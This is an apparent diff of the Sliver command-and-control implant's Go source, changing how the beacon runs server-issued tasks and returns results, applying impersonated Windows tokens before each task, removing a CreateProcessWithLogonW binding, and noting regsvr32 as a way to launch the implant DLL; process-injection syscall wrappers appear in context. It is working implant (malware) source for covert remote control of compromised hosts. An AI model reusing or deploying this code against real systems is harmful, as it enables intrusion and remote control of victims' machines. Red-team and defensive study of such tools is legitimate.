 // DllUnregisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /u sliver.dll)
 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms691457(v=vs.85).aspx
-//
 //export DllUnregisterServer
 func DllUnregisterServer() { main() }
 
@@ -164,14 +163,6 @@ func main() {
 
 	// {{if .Config.Debug}}
 	log.SetFlags(log.LstdFlags | log.Lshortfile)
-	debugFilePath := "{{ .Config.DebugFile }}"
-	if debugFilePath != "" {
-		// Open the log file for writing
-		file, err := os.OpenFile(debugFilePath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)
-		if err == nil {
-			log.SetOutput(file)
-		}
-	}
 	// {{else}}
 	log.SetFlags(0)
 	log.SetOutput(ioutil.Discard)
@@ -241,10 +232,6 @@ func sessionStartup() {
 	for connection := range connections {
 		if connection != nil {
 			err := sessionMainLoop(connection)
-			if err == ErrTerminate {
-				connection.Cleanup()
-				return
-			}
 			if err != nil {
 				connectionErrors++
 				if transports.GetMaxConnectionErrors() < connectionErrors {
@@ -408,50 +395,13 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
 		return nil
 	}
 
-	var tasksExtensionRegister []*sliverpb.Envelope
-	var tasksOther []*sliverpb.Envelope
-
-	for _, task := range tasks.Tasks {
-		switch task.Type {
-		case sliverpb.MsgRegisterExtensionReq:
-			tasksExtensionRegister = append(tasksExtensionRegister, task)
-		default:
-			tasksOther = append(tasksOther, task)
-		}
-	}
-
-	// ensure extensions are registered before they are called
-	var results []*sliverpb.Envelope
-	for _, r := range beaconHandleTasklist(tasksExtensionRegister) {
-		results = append(results, r)
-	}
-	for _, r := range beaconHandleTasklist(tasksOther) {
-		results = append(results, r)
-	}
-
-	err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
-		ID:    InstanceID,
-		Tasks: results,
-	}))
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("[beacon] error sending results %s", err)
-		// {{end}}
-	}
-	// {{if .Config.Debug}}
-	log.Printf("[beacon] all results sent to server, cleanup ...")
-	// {{end}}
-	return nil
-}
-
-func beaconHandleTasklist(tasks []*sliverpb.Envelope) []*sliverpb.Envelope {
 	results := []*sliverpb.Envelope{}
 	resultsMutex := &sync.Mutex{}
 	wg := &sync.WaitGroup{}
 	sysHandlers := handlers.GetSystemHandlers()
 	specHandlers := handlers.GetSpecialHandlers()
 
-	for _, task := range tasks {
+	for _, task := range tasks.Tasks {
 		// {{if .Config.Debug}}
 		log.Printf("[beacon] execute task %d", task.Type)
 		// {{end}}
@@ -459,43 +409,21 @@ func beaconHandleTasklist(tasks []*sliverpb.Envelope) []*sliverpb.Envelope {
 			wg.Add(1)
 			data := task.Data
 			taskID := task.ID
-			// {{if eq .Config.GOOS "windows" }}
-			go func() {
+			go handler(data, func(data []byte, err error) {
+				resultsMutex.Lock()
+				defer resultsMutex.Unlock()
 				defer wg.Done()
-				handlers.WrapperHandler(handler, data, func(data []byte, err error) {
-					resultsMutex.Lock()
-					defer resultsMutex.Unlock()
-					// {{if .Config.Debug}}
-					if err != nil {
-						log.Printf("[beacon] handler function returned an error: %s", err)
-					}
-					log.Printf("[beacon] task completed (id: %d)", taskID)
-					// {{end}}
-					results = append(results, &sliverpb.Envelope{
-						ID:   taskID,
-						Data: data,
-					})
+				// {{if .Config.Debug}}
+				if err != nil {
+					log.Printf("[beacon] handler function returned an error: %s", err)
+				}
+				log.Printf("[beacon] task completed (id: %d)", taskID)
+				// {{end}}
+				results = append(results, &sliverpb.Envelope{
+					ID:   taskID,
+					Data: data,
 				})
-			}()
-			//  {{else}}
-			go func() {
-				defer wg.Done()
-				handler(data, func(data []byte, err error) {
-					resultsMutex.Lock()
-					defer resultsMutex.Unlock()
-					// {{if .Config.Debug}}
-					if err != nil {
-						log.Printf("[beacon] handler function returned an error: %s", err)
-					}
-					log.Printf("[beacon] task completed (id: %d)", taskID)
-					// {{end}}
-					results = append(results, &sliverpb.Envelope{
-						ID:   taskID,
-						Data: data,
-					})
-				})
-			}()
-			// {{end}}
+			})
 		} else if task.Type == sliverpb.MsgOpenSession {
 			go openSessionHandler(task.Data)
 			resultsMutex.Lock()
@@ -516,7 +444,6 @@ func beaconHandleTasklist(tasks []*sliverpb.Envelope) []*sliverpb.Envelope {
 			resultsMutex.Unlock()
 		}
 	}
-
 	// {{if .Config.Debug}}
 	log.Printf("[beacon] waiting for task(s) to complete ...")
 	// {{end}}
@@ -525,7 +452,19 @@ func beaconHandleTasklist(tasks []*sliverpb.Envelope) []*sliverpb.Envelope {
 	log.Printf("[beacon] all tasks completed, sending results to server")
 	// {{end}}
 
-	return results
+	err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
+		ID:    InstanceID,
+		Tasks: results,
+	}))
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[beacon] error sending results %s", err)
+		// {{end}}
+	}
+	// {{if .Config.Debug}}
+	log.Printf("[beacon] all results sent to server, cleanup ...")
+	// {{end}}
+	return nil
 }
 
 func openSessionHandler(data []byte) {
@@ -546,7 +485,7 @@ func openSessionHandler(data []byte) {
 
 	go func() {
 		abort := make(chan struct{})
-		connections := transports.StartConnectionLoop(abort, openSession.C2S...)
+		connections := transports.StartConnectionLoop(abort)
 		defer func() { abort <- struct{}{} }()
 		connectionAttempts := 0
 		for connection := range connections {
@@ -605,13 +544,11 @@ func sessionMainLoop(connection *transports.Connection) error {
 	rportfwdHandlers := handlers.GetRportFwdHandlers()
 
 	for envelope := range connection.Recv {
-		if _, ok := specialHandlers[envelope.Type]; ok {
-			// Special handler at this point is just the exit handler.
-			// We can safely return here, and let the caller know thart we want to terminate.
+		if handler, ok := specialHandlers[envelope.Type]; ok {
 			// {{if .Config.Debug}}
 			log.Printf("[recv] specialHandler %d", envelope.Type)
 			// {{end}}
-			return ErrTerminate
+			handler(envelope.Data, connection)
 		} else if handler, ok := pivotHandlers[envelope.Type]; ok {
 			// {{if .Config.Debug}}
 			log.Printf("[recv] pivotHandler with type %d", envelope.Type)
@@ -629,23 +566,20 @@ func sessionMainLoop(connection *transports.Connection) error {
 			// only applies the token to the calling thread, we need to call it before every task.
 			// It's fucking gross to do that here, but I could not come with a better solution.
 
+			// {{if eq .Config.GOOS "windows" }}
+			if priv.CurrentToken != 0 {
+				err := syscalls.ImpersonateLoggedOnUser(priv.CurrentToken)
+				if err != nil {
+					// {{if .Config.Debug}}
+					log.Printf("Error: %v\n", err)
+					// {{end}}
+				}
+			}
+			// {{end}}
+
 			// {{if .Config.Debug}}
 			log.Printf("[recv] sysHandler %d", envelope.Type)
 			// {{end}}
-
-			// {{if eq .Config.GOOS "windows" }}
-			go handlers.WrapperHandler(handler, envelope.Data, func(data []byte, err error) {
-				// {{if .Config.Debug}}
-				if err != nil {
-					log.Printf("[session] handler function returned an error: %s", err)
-				}
-				// {{end}}
-				connection.Send <- &sliverpb.Envelope{
-					ID:   envelope.ID,
-					Data: data,
-				}
-			})
-			// {{else}}
 			go handler(envelope.Data, func(data []byte, err error) {
 				// {{if .Config.Debug}}
 				if err != nil {
@@ -657,7 +591,6 @@ func sessionMainLoop(connection *transports.Connection) error {
 					Data: data,
 				}
 			})
-			// {{end}}
 		} else if handler, ok := tunHandlers[envelope.Type]; ok {
 			// {{if .Config.Debug}}
 			log.Printf("[recv] tunHandler %d", envelope.Type)
@@ -729,9 +662,6 @@ func registerSliver() *sliverpb.Register {
 		}
 	}
 
-	// {{if .Config.Debug}}
-	log.Printf("Generating UUID ...\n")
-	// {{end}}
 	// Retrieve UUID
 	uuid := hostuuid.GetUUID()
 	// {{if .Config.Debug}}

implant/sliver/syscalls/syscalls_windows.go

@@ -9,7 +9,6 @@ package syscalls
 //sys HeapSize(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (res uint32, err error) = kernel32.HeapSize
 //sys UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) = kernel32.UpdateProcThreadAttribute
 //sys CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.SecurityAttributes, threadSecurity *windows.SecurityAttributes, inheritHandles bool, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) = kernel32.CreateProcessW
-//sys CreateProcessWithLogonW(username *uint16, domain *uint16, password *uint16, logonFlags uint32, appName *uint16, commandLine *uint16, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) = advapi32.CreateProcessWithLogonW
 //sys VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) = kernel32.VirtualAllocEx
 //sys WriteProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesWritten *uintptr) (err error) = kernel32.WriteProcessMemory
 //sys VirtualProtectEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flNewProtect uint32, lpflOldProtect *uint32) (err error) = kernel32.VirtualProtectEx

implant/sliver/syscalls/zsyscalls_windows.go

@@ -62,7 +62,6 @@ var (
 	procGetDC                             = modUser32.NewProc("GetDC")
 	procGetDesktopWindow                  = modUser32.NewProc("GetDesktopWindow")
 	procReleaseDC                         = modUser32.NewProc("ReleaseDC")
-	procCreateProcessWithLogonW           = modadvapi32.NewProc("CreateProcessWithLogonW")
 	procImpersonateLoggedOnUser           = modadvapi32.NewProc("ImpersonateLoggedOnUser")
 	procLogonUserW                        = modadvapi32.NewProc("LogonUserW")
 	procLookupPrivilegeDisplayNameW       = modadvapi32.NewProc("LookupPrivilegeDisplayNameW")
@@ -223,14 +222,6 @@ func ReleaseDC(hWnd windows.Handle, hDC windows.Handle) (int uint32, err error)
 	return
 }
 
-func CreateProcessWithLogonW(username *uint16, domain *uint16, password *uint16, logonFlags uint32, appName *uint16, commandLine *uint16, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) {
-	r1, _, e1 := syscall.Syscall12(procCreateProcessWithLogonW.Addr(), 11, uintptr(unsafe.Pointer(username)), uintptr(unsafe.Pointer(domain)), uintptr(unsafe.Pointer(password)), uintptr(logonFlags), uintptr(unsafe.Pointer(appName)), uintptr(unsafe.Pointer(commandLine)), uintptr(creationFlags), uintptr(unsafe.Pointer(env)), uintptr(unsafe.Pointer(currentDir)), uintptr(unsafe.Pointer(startupInfo)), uintptr(unsafe.Pointer(outProcInfo)), 0)
-	if r1 == 0 {
-		err = errnoErr(e1)
-	}
-	return
-}
-
 func ImpersonateLoggedOnUser(hToken windows.Token) (err error) {
 	r1, _, e1 := syscall.Syscall(procImpersonateLoggedOnUser.Addr(), 1, uintptr(hToken), 0, 0)
 	if r1 == 0 {